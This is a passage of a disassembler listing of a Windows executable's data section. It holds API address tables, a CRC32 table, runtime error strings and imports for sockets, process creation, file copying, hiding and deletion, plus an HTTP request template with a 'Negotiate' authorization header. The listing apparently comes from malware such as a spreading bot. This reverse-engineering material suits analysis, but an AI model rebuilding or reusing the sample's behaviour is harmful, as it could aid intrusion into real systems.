sub_41761C+123r dword_427120 dd 77E75E67h ; DATA XREF: sub_41036B+212r ; sub_41036B+5DBr ... dword_427124 dd 77E75D9Eh ; DATA XREF: sub_41036B+201r ; sub_41716F+26r dword_427128 dd 77E78C81h ; DATA XREF: sub_4109F1+6Cr ; sub_4161C1+259r ... dword_42712C dd 77E76968h ; DATA XREF: sub_41144E+5Fr dword_427130 dd 77E74C59h ; DATA XREF: sub_4116D6+C7r dword_427134 dd 77EC7C51h ; DATA XREF: sub_411AAB+5Er dword_427138 dd 77E802FCh ; DATA XREF: sub_413694+18Cr ; sub_413694+2D4r ... dword_42713C dd 77E6D75Bh ; DATA XREF: sub_413694+182r ; sub_4143F7+FFr dword_427140 dd 77E70F89h ; DATA XREF: sub_415D38+Dr dword_427144 dd 77E80618h ; DATA XREF: sub_4172C1+170r ; sub_418AF1+D4r dword_427148 dd 77E78147h ; DATA XREF: sub_4172C1+BCr dword_42714C dd 77F51597h ; DATA XREF: sub_417493+41r ; sub_417493+F5r ... dword_427150 dd 77F516F8h ; DATA XREF: sub_417493+21r ; sub_41761C+4Ar ... dword_427154 dd 77E77CB7h ; DATA XREF: sub_417493+10r ; sub_41761C+40r ... dword_427158 dd 77E7F01Ah ; DATA XREF: sub_41761C+88r ; sub_4177C3+55r dword_42715C dd 77E61A54h ; DATA XREF: sub_41761C+56r ; sub_4177C3+97r dword_427160 dd 77E7C3A5h ; DATA XREF: sub_41761C+34r ; sub_4177C3+2Er dword_427164 dd 77E76A60h ; DATA XREF: sub_418699+2Dr dword_427168 dd 77E71B14h ; DATA XREF: sub_418723+26r dword_42716C dd 77E7166Fh ; DATA XREF: sub_418723+1Dr dword_427170 dd 77E75090h ; DATA XREF: sub_41875E+69r dword_427174 dd 77E74D76h ; DATA XREF: sub_41875E+36r dword_427178 dd 77E77797h ; DATA XREF: sub_41875E+25r dword_42717C dd 77E7011Ah ; DATA XREF: sub_4187E0+96r dword_427180 dd 77E73CE2h ; DATA XREF: sub_4187E0+60r dword_427184 dd 77E668D9h ; DATA XREF: sub_4188A6+15Dr dword_427188 dd 77E79924h ; DATA XREF: sub_4190A5+13r ; ___crtLCMapStringA+20Dr ... dword_42718C dd 77E76A2Eh ; DATA XREF: sub_419C09+DEr dword_427190 dd 77E7FF65h ; DATA XREF: sub_41A05C+5Ar dword_427194 dd 77EB7624h ; DATA XREF: sub_41A05C+3Dr dword_427198 dd 77E6C29Dh ; DATA XREF: sub_41A6EA+1EBr dword_42719C dd 77E76C1Ah ; DATA XREF: sub_41AF8F+1CFr dword_4271A0 dd 77F5722Fh ; DATA XREF: sub_41BBE2+110r ; sub_41BBE2+22Dr ... dword_4271A4 dd 77F6183Eh ; DATA XREF: sub_426356r dword_4271A8 dd 77E6177Ah ; DATA XREF: start+9Fr __ioinit+59r dword_4271AC dd 77E7C938h ; DATA XREF: start+74r dword_4271B0 dd 77E7C486h ; DATA XREF: start+26r dword_4271B4 dd 77E7AC5Eh ; DATA XREF: sub_41E52A+54r dword_4271B8 dd 77E76E0Bh ; DATA XREF: sub_41E672+50r dword_4271BC dd 77E7C726h ; DATA XREF: sub_41E672+11r dd 0 dword_4271C4 dd 71AB5A01h ; DATA XREF: sub_4157BA+20r dword_4271C8 dd 71AB4122h ; DATA XREF: sub_4156D1+D4r dword_4271CC dd 71AB1746h ; DATA XREF: sub_4131EC+1DEr dword_4271D0 dd 71AB401Ch ; DATA XREF: sub_4131EC+21Br ; sub_4131EC+243r dword_4271D4 dd 71AB1836h ; DATA XREF: sub_40F9BF+6Er ; sub_40FA3C+8Er dword_4271D8 dd 71AB41DAh ; DATA XREF: sub_40F3AA+4Ar ; sub_40F9BF+15r dword_4271DC dd 71AB3F8Dh ; DATA XREF: sub_40F3AA+5Ar dword_4271E0 dd 71AB155Ah ; DATA XREF: sub_40F3AA+8Dr ; sub_414251+70r ... dword_4271E4 dd 71AB3ECEh ; DATA XREF: sub_40F3AA+B5r dword_4271E8 dd 71AB5DE2h ; DATA XREF: sub_40F3AA+C9r dword_4271EC dd 71AB868Dh ; DATA XREF: sub_40F3AA+171r dword_4271F0 dd 71AB12F8h ; DATA XREF: sub_40E9FB+27r ; sub_40F9BF+35r ... dword_4271F4 dd 71AB1746h ; DATA XREF: sub_40E9FB+36r ; sub_40F9BF+41r ... dword_4271F8 dd 71AB3E5Dh ; DATA XREF: sub_40E9FB+59r ; sub_40EAE9+45r ... dword_4271FC dd 71AB5690h ; DATA XREF: sub_40E9FB+6Ar ; sub_40F3AA+1E1r dword_427200 dd 71AB1A6Dh ; DATA XREF: sub_40E9FB+E0r ; sub_40EAE9:loc_40EB55r ... dword_427204 dd 71AB3C22h ; DATA XREF: .text:0040D64Cr ; sub_40E9FB+45r ... dword_427208 dd 71AB1AF4h ; DATA XREF: sub_40D2A2+12r ; sub_40E9FB+C3r ... dword_42720C dd 71AB1890h ; DATA XREF: sub_40D104+4Cr ; sub_40F3AA+106r dword_427210 dd 71AB1B7Bh ; DATA XREF: sub_426350r dword_427214 dd 71AB157Eh ; DATA XREF: sub_401ACD+2F5Fr align 10h dword_427220 dd 0 ; DATA XREF: sub_401070+26r dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh dword_427620 dd 2Eh ; DATA XREF: sub_401ACD+3428o ; sub_401ACD+3514o ... dword_427624 dd 2Eh ; DATA XREF: sub_401ACD+3850o ; sub_401ACD+388Ao ... ; char aGetHttp1_0Host[] aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D4E2+62o db 'Host: %s',0Dh,0Ah db 'Authorization: Negotiate %s',0Dh,0Ah db 0Dh,0Ah,0 align 8 dbl_427668 dq 1.388888888888889e-2 ; DATA XREF: sub_40D2F4+2Fr dbl_427670 dq 1.666666666666667e-1 ; DATA XREF: sub_40D2F4+15r dword_427678 dd 0FFFFFFFFh ; DATA XREF: sub_40D340+16Fr ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::append(uint,char)r ... align 10h dbl_427680 dq 1.333333333333333 ; DATA XREF: sub_40D340+79r dword_427688 dd 2 dup(0) ; DATA XREF: sub_40D4E2+4Do ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(std::basic_string<char,std::char_traits<char>,std::allocator<char>> const &,uint,uint)+5Bo ... dbl_427690 dq 9.765625e-4 ; DATA XREF: sub_4167A0+2BDr ; sub_4167A0+2D8r ... dbl_427698 dq -1.52587890625e-4 ; DATA XREF: sub_417E84+3E5r dbl_4276A0 dq 3.0517578125e-4 ; DATA XREF: sub_417E84+3C5r dbl_4276A8 dq -3.0517578125e-4 ; DATA XREF: sub_417E84+342r ; sub_417E84+3A7r dbl_4276B0 dq 1.52587890625e-4 ; DATA XREF: sub_417E84+271r dbl_4276B8 dq -1.739501953125e-3 ; DATA XREF: sub_417E84+24Br ; sub_417E84+2D5r ... dbl_4276C0 dq 3.11279296875e-3 ; DATA XREF: sub_417E84+E1r dbl_4276C8 dq 3.0517578125e-5 ; DATA XREF: sub_417E84+AEr ; sub_417E84+138r ... dbl_4276D0 dq 6.103515625e-5 ; DATA XREF: sub_417E84+93r ; sub_417E84+308r dbl_4276D8 dq 2.288818359375e-3 ; DATA XREF: sub_417E84+21r dbl_4276E0 dq -3.0517578125e-5 ; DATA XREF: sub_418BD1+2Br flt_4276E8 dd 9.765625e-4 ; DATA XREF: sub_41AA1E+1B0r flt_4276EC dd 8.0 ; DATA XREF: sub_41AA1E+1AAr flt_4276F0 dd 0.0 ; DATA XREF: sub_41AA1E+171r flt_4276F4 dd 1.0e-3 ; DATA XREF: sub_41AA1E+168r dbl_4276F8 dq 1.0 ; DATA XREF: _floor+6Cr _ceil+6Cr ... dword_427700 dd 0FFFFFFFFh, 41E2AAh, 41E2BEh ; DATA XREF: start+5o ; char Str1[] Str1 db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: sub_41E52A+8Eo align 4 a__msvcrt_heap_ db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: sub_41E52A+4Fo align 4 byte_42773C db 6 ; DATA XREF: __output:loc_41FF96r db 2 dup(0), 6 dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h dd 0 db 8,'`h````',0 dd 78707000h, 8787878h, 807h, 8080007h, 8000008h, 7000800h dd 8 aNull_0: ; DATA XREF: .data:off_43D094o unicode 0, <(null)>,0 align 4 aNull db '(null)',0 ; DATA XREF: .data:off_43D090o align 10h a_yn db '_yn',0 a_y1 db '_y1',0 a_y0 db '_y0',0 aFrexp db 'frexp',0 align 4 aFmod db 'fmod',0 align 4 a_hypot db '_hypot',0 align 4 a_cabs db '_cabs',0 align 4 aLdexp db 'ldexp',0 align 4 aModf db 'modf',0 align 4 aFabs db 'fabs',0 align 4 aFloor db 'floor',0 align 4 aCeil db 'ceil',0 align 4 aTan db 'tan',0 aCos db 'cos',0 aSin db 'sin',0 aSqrt db 'sqrt',0 align 4 aAtan2 db 'atan2',0 align 10h aAtan db 'atan',0 align 4 aAcos db 'acos',0 align 10h aAsin db 'asin',0 align 4 aTanh db 'tanh',0 align 10h aCosh db 'cosh',0 align 4 aSinh db 'sinh',0 align 10h aLog10 db 'log10',0 align 4 aPow db 'pow',0 aExp db 'exp',0 ; DATA XREF: .data:off_43D30Co dbl_427860 dq 0.0 ; DATA XREF: __handle_exc+8Cr ; __handle_exc+ACr ... dbl_427868 dq 4.195835e6 ; DATA XREF: __ms_p5_test_fdiv+Fr dbl_427870 dq 3.145727e6 ; DATA XREF: __ms_p5_test_fdiv+6r aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: __ms_p5_mp_test_fdiv+Fo align 4 aKernel32 db 'KERNEL32',0 ; DATA XREF: __ms_p5_mp_test_fdivo align 10h ; char aE000[] aE000 db 'e+000',0 ; DATA XREF: __cftoe+93o align 4 dword_4278A8 dd 0FFFFFFFFh, 422964h, 42296Eh, 0 ; DATA XREF: ___FrameUnwindToState+5o dword_4278B8 dd 0FFFFFFFFh, 0 ; DATA XREF: CallCatchBlock(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,_s_FuncInfo const *,void *,int,ulong)+5o dd offset sub_422AEA align 8 dd offset sub_422AC8 dd offset sub_422AD2 dword_4278D0 dd 0FFFFFFFFh, 422D1Ah, 422D1Eh, 0 ; DATA XREF: BuildCatchObject(EHExceptionRecord *,EHRegistrationNode *,_s_HandlerType const *,_s_CatchableType const *)+5o dword_4278E0 dd 0FFFFFFFFh, 422D7Ch, 422D85h, 0 ; DATA XREF: unknown_libname_5+5o dword_4278F0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_422DFC+5o dd offset loc_422E4D align 10h dd offset loc_422E39 dd offset loc_422E3D dword_427908 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_422E52+5o dd offset loc_422EA3 align 8 dd offset loc_422E8F dd offset loc_422E93 dword_427920 dd 2 dup(0) ; DATA XREF: ___crtLCMapStringA+36o ; ___crtGetStringTypeA+39o ... dword_427928 dd 0FFFFFFFFh, 4233B8h, 4233BCh, 0FFFFFFFFh, 42346Ch, 423470h ; DATA XREF: ___crtLCMapStringA+5o dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0 aDomainError db 'DOMAIN error',0Dh,0Ah,0 align 10h aR6028UnableToI db 'R6028',0Dh,0Ah db '- unable to initialize heap',0Dh,0Ah,0 align 4 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 10h aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 4 aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 10h aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 4 aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 4 aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 4 aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 4 aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aAbnormalProgra db 0Dh,0Ah db 'abnormal program termination',0Dh,0Ah,0 align 4 aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 10h aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: .data:off_43D4DCo db '- floating point not loaded',0Dh,0Ah,0 align 4 aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: __NMSG_WRITE+119o align 10h ; char asc_427BF0[] asc_427BF0 db 0Ah ; DATA XREF: __NMSG_WRITE+F1o db 0Ah,0 align 4 ; char aRuntimeErrorPr[] aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: __NMSG_WRITE+D3o db 0Ah db 'Program: ',0 align 10h ; char a___[] a___ db '...',0 ; DATA XREF: __NMSG_WRITE+BFo ; char aProgramNameUnk[] aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: __NMSG_WRITE+7Do align 10h dword_427C30 dd 0FFFFFFFFh, 4245EDh, 4245F1h ; DATA XREF: ___crtGetStringTypeA+5o aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: ___crtMessageBoxA+3Do align 10h aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: ___crtMessageBoxA+35o aMessageboxa db 'MessageBoxA',0 ; DATA XREF: ___crtMessageBoxA+24o ; char a1Qnan[] a1Qnan db '1#QNAN',0 ; DATA XREF: _$I10_OUTPUT:loc_425A68o align 4 ; char a1Inf[] a1Inf db '1#INF',0 ; DATA XREF: _$I10_OUTPUT+D8o align 4 a1Ind db '1#IND',0 ; DATA XREF: _$I10_OUTPUT+C7o align 4 a1Snan db '1#SNAN',0 ; DATA XREF: _$I10_OUTPUT+ADo align 4 dd offset dword_427DAC off_427C90 dd offset sub_4260E2 ; DATA XREF: sub_4260BA+8o ; sub_4260FE+2Co ... dd offset sub_4260D5 ; ?what@runtime_error@@UBEPBDXZ ; doubtful name dd offset sub_4262F6 dd offset dword_427DF8 off_427CA0 dd offset sub_42614C ; DATA XREF: sub_4260FE+3Ao ; sub_426168o ... dd offset sub_4260D5 ; ?what@runtime_error@@UBEPBDXZ ; doubtful name dd offset loc_426332 dword_427CAC dd 0 ; DATA XREF: sub_4260FE+16o ; sub_4261D0+16o ; char aInvalidStringP[] aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_426173+11o dd offset dword_427E44 off_427CCC dd offset sub_42625B ; DATA XREF: sub_426277o ; sub_42629A+37o ... dd offset sub_4260D5 ; ?what@runtime_error@@UBEPBDXZ ; doubtful name dd offset loc_426314 ; char aStringTooLong[] aStringTooLong db 'string too long',0 ; DATA XREF: sub_42629A+11o dd offset dword_427E88 off_427CEC dd offset ??_Gtype_info@@UAEPAXI@Z ; DATA XREF: type_info::~type_info(void)o ; .data:off_43DAE4o ... ; type_info::`scalar deleting destructor'(uint) dd offset dword_427EB8 off_427CF4 dd offset sub_4264C1 ; DATA XREF: exception::exception(char const * const &)+8o ; exception::exception(exception const &)+8o ... dd offset unknown_libname_10 ; Microsoft VisualC 2-8/net runtime aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: unknown_libname_10+7o align 10h dword_427D10 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: _CxxThrowException(x,x)+Eo dd 3, 19930520h, 2 dup(0) dword_427D30 dd 0FFFFFFFFh, 426738h, 42673Ch, 0FFFFFFFFh, 4267B5h, 4267B9h ; DATA XREF: ___crtLCMapStringW+5o dword_427D48 dd 0FFFFFFFFh, 4269ADh, 4269B1h, 0FFFFFFFFh, 426A0Ah, 426A0Eh ; DATA XREF: ___crtGetStringTypeW+5o dd 43DAE4h, 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) off_427D78 dd offset off_43DAFC ; DATA XREF: .rdata:00427D90o ; .rdata:00427DDCo ... dd 1, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427D78 dd offset dword_427D48+18h dword_427D98 dd 3 dup(0) ; DATA XREF: .rdata:00427DBCo dd 2, 427D90h dword_427DAC dd 3 dup(0) ; DATA XREF: .rdata:00427C8Co dd offset off_43DAFC dd offset dword_427D98+4 off_427DC0 dd offset off_43DB1C ; DATA XREF: .rdata:00427DD8o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427DC0 dd offset off_427D78 dd offset dword_427D48+18h dd 0 db 0 ; DATA XREF: .rdata:00427E08o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 3, 427DD8h dword_427DF8 dd 3 dup(0) ; DATA XREF: .rdata:00427C9Co dd offset off_43DB1C dd offset unk_427DE8 off_427E0C dd offset off_43DB3C ; DATA XREF: .rdata:00427E24o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427E0C dd offset off_427D78 dd offset dword_427D48+18h dword_427E30 dd 3 dup(0) ; DATA XREF: .rdata:00427E54o dd 3, 427E24h dword_427E44 dd 3 dup(0) ; DATA XREF: .rdata:00427CC8o dd offset off_43DB3C dd offset dword_427E30+4 off_427E58 dd offset off_43DB60 ; DATA XREF: .rdata:00427E70o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_427E58 dd 0 db 0 ; DATA XREF: .rdata:00427E98o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 1, 427E70h dword_427E88 dd 3 dup(0) ; DATA XREF: .rdata:00427CE8o dd offset off_43DB60 dd offset unk_427E78 dd offset dword_427D48+18h dword_427EA0 dd 4 dup(0) ; DATA XREF: .rdata:00427EC8o dd 1, 427E9Ch dword_427EB8 dd 3 dup(0) ; DATA XREF: .rdata:00427CF0o dd offset off_43DAE4 dd offset dword_427EA0+8 align 10h stru_427ED0 dd 19930520h ; Magic ; DATA XREF: .text:loc_426AA7o dd 2 ; Count dd offset stru_427ED0.Info; InfoPtr dd 0 ; CountDtr dd 0 ; DtrPtr dd 3 dup(0) ; _unk dd -1 ; Info.Id dd offset sub_426A90 ; Info.Proc dd 0 ; Info.Id dd offset sub_426A88 ; Info.Proc stru_427F00 dd 19930520h ; Magic ; DATA XREF: sub_426AC4o dd 2 ; Count dd offset stru_427F00.Info; InfoPtr dd 0 ; CountDtr dd 0 ; DtrPtr dd 3 dup(0) ; _unk dd -1 ; Info.Id dd offset sub_426AB4 ; Info.Proc dd 0 ; Info.Id dd offset sub_426ABC ; Info.Proc stru_427F30 dd 19930520h ; Magic ; DATA XREF: sub_426AD0o dd 2 ; Count dd offset stru_427F30.Info; InfoPtr dd 1 ; CountDtr dd offset stru_427F60 ; DtrPtr dd 3 dup(0) ; _unk dd -1 ; Info.Id dd 0 ; Info.Proc dd -1 ; Info.Id dd 0 ; Info.Proc stru_427F60 dd 0, 0, 1 ; _unk ; DATA XREF: .rdata:stru_427F30o dd 1 ; Count dd offset stru_427F78 ; RttiBlkPtr dd 0 stru_427F78 _msRttiDscr <0, 0, 0, offset loc_40DA8E> ; DATA XREF: .rdata:stru_427F60o stru_427F88 _msExcInfo <-1, offset sub_426ADA> ; DATA XREF: .rdata:stru_427F90o stru_427F90 _msExcept7 <19930520h, 1, offset stru_427F88, 0, 0, 0> ; DATA XREF: .text:loc_426AE2o align 10h dd offset off_43DAE4 align 8 dd 0FFFFFFFFh, 0 dd 0Ch, 42651Ah, 0 dd offset off_43DAFC dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 426218h, 0 dd offset off_43DB1C align 10h dd 0FFFFFFFFh, 0 dword_427FF8 dd 1Ch, 426282h, 3, 427FE4h, 427FC8h, 427FACh ; DATA XREF: .rdata:0042801Co dword_428010 dd 0 ; DATA XREF: sub_426173+2Eo ; sub_4262F6+4Bo dd offset sub_426168 dd 0 dd offset dword_427FF8+8 stru_428020 _msExcInfo <-1, offset sub_426AEC> ; DATA XREF: .rdata:stru_428028o stru_428028 _msExcept7 <19930520h, 1, offset stru_428020, 0, 0, 0> ; DATA XREF: .text:loc_426AF4o stru_428044 _msExcInfo <-1, offset sub_426AFE> ; DATA XREF: .rdata:stru_42804Co stru_42804C _msExcept7 <19930520h, 1, offset stru_428044, 0, 0, 0> ; DATA XREF: .text:loc_426B06o stru_428068 _msExcInfo <-1, offset sub_426B10> ; DATA XREF: .rdata:stru_428070o stru_428070 _msExcept7 <19930520h, 1, offset stru_428068, 0, 0, 0> ; DATA XREF: .text:loc_426B18o align 10h dd offset off_43DB3C align 8 dd 0FFFFFFFFh, 0 dword_4280A0 dd 1Ch, 4262DEh, 3, 42808Ch, 427FC8h, 427FACh ; DATA XREF: .rdata:004280C4o dword_4280B8 dd 0 ; DATA XREF: sub_42629A+2Eo ; sub_4262F6+2Do dd offset sub_426277 dd 0 dd offset dword_4280A0+8 stru_4280C8 _msExcInfo <-1, offset sub_426B22> ; DATA XREF: .rdata:stru_4280D0o stru_4280D0 _msExcept7 <19930520h, 1, offset stru_4280C8, 0, 0, 0> ; DATA XREF: .text:loc_426B2Ao dword_4280EC dd 2, 427FC8h, 427FACh ; DATA XREF: .rdata:00428104o dword_4280F8 dd 0 ; DATA XREF: sub_4262F6+Fo dd offset sub_4260BA dd 0 dd offset dword_4280EC dd 28308h, 2 dup(0) dd 2836Eh, 271C4h, 28144h, 2 dup(0) dd 28B82h, 27000h, 5 dup(0) dd 2868Ah, 28B72h, 28B62h, 28B52h, 28B34h, 28B22h, 28B10h dd 28AFCh, 28AECh, 28ADEh, 28ACEh, 28ABCh, 28AA2h, 28A8Ah dd 28A70h, 28A56h, 28A3Ah, 28A2Ah, 28A1Ah, 28A0Eh, 289FCh dd 289F0h, 289E6h, 289DAh, 289CAh, 289BAh, 289ACh, 28386h dd 28394h, 283A2h, 283B4h, 283CAh, 283E0h, 283E8h, 283F8h dd 28406h, 28414h, 2842Ah, 2843Ah, 28446h, 2845Ch, 28472h dd 28486h, 2849Ch, 284ACh, 284BCh, 284CEh, 284DEh, 284EAh dd 284FAh, 2850Ch, 28520h, 28532h, 28542h, 28550h, 28568h dd 28580h, 285A8h, 285C0h, 285D6h, 285E2h, 285EEh, 28602h dd 28610h, 28624h, 28636h, 2864Ah, 28658h, 2866Ah, 2867Ch dd 28696h, 286AEh, 286C8h, 286D8h, 286EAh, 286FCh, 28714h dd 2872Eh, 2874Ah, 28764h, 28780h, 28790h, 2879Eh, 287B8h dd 287C4h, 287D0h, 287E2h, 287F4h, 28808h, 28818h, 2882Ah dd 2883Ah, 28848h, 2885Ah, 2886Ah, 28880h, 2888Eh, 2889Ch dd 288B8h, 288CEh, 288DAh, 288F0h, 28900h, 28914h, 2892Ah dd 28938h, 28944h, 28956h, 28968h, 28976h, 28990h, 2899Eh dd 0 dd 28360h, 80000007h, 8000000Fh, 8000000Ch, 80000074h dd 80000073h, 80000015h, 8000000Ah, 80000002h, 8000000Dh dd 80000001h, 8000000Bh, 80000009h, 80000004h, 80000010h dd 80000003h, 80000017h, 80000013h, 80000012h, 80000097h dd 80000006h, 0 db 41h ; A align 2 aWsasocketa_0 db 'WSASocketA',0 align 2 aWs2_32_dll_0 db 'WS2_32.dll',0 align 2 aVersion_dll db 'VERSION.dll',0 db '¹',0 aExitprocess db 'ExitProcess',0 a4 db '4',0 aClosehandle db 'CloseHandle',0 aF_2 db 'f',0 aCreateprocessa db 'CreateProcessA',0 align 4 db 7Dh ; } db 1, 47h, 65h aTmodulefilenam db 'tModuleFileNameA',0 align 2 dw 1C1h aGetsystemdirec db 'GetSystemDirectoryA',0 db 56h ; V db 3, 53h, 6Ch db 65h ; e db 65h, 70h, 0 db 6Fh ; o align 2 aCreatethread db 'CreateThread',0 align 4 aG db 'ƒ',0 aDeletefilea db 'DeleteFileA',0 dw 286h aOpenprocess db 'OpenProcess',0 db 43h ; C db 1, 47h, 65h aTcurrentproces db 'tCurrentProcessId',0 dw 171h aGetlasterror db 'GetLastError',0 align 2 aC_2 db 'C',0 aCopyfilea db 'CopyFileA',0 dw 319h aSetfileattribu db 'SetFileAttributesA',0 align 4 db 5Eh ; ^ db 1, 47h, 65h aTfileattribute db 'tFileAttributesA',0 align 2 dw 17Fh aGetmodulehandl db 'GetModuleHandleA',0 align 2 dw 390h aWaitforsingleo db 'WaitForSingleObject',0 db '`',0 aCreatemutexa db 'CreateMutexA',0 align 4 db 0DFh ; ß db 1, 47h, 65h aTtickcount db 'tTickCount',0 align 4 db 5Fh ; _ db 3, 54h, 65h aRminatethread db 'rminateThread',0 dw 1D5h aGettemppatha db 'GetTempPathA',0 align 2 dw 26Eh 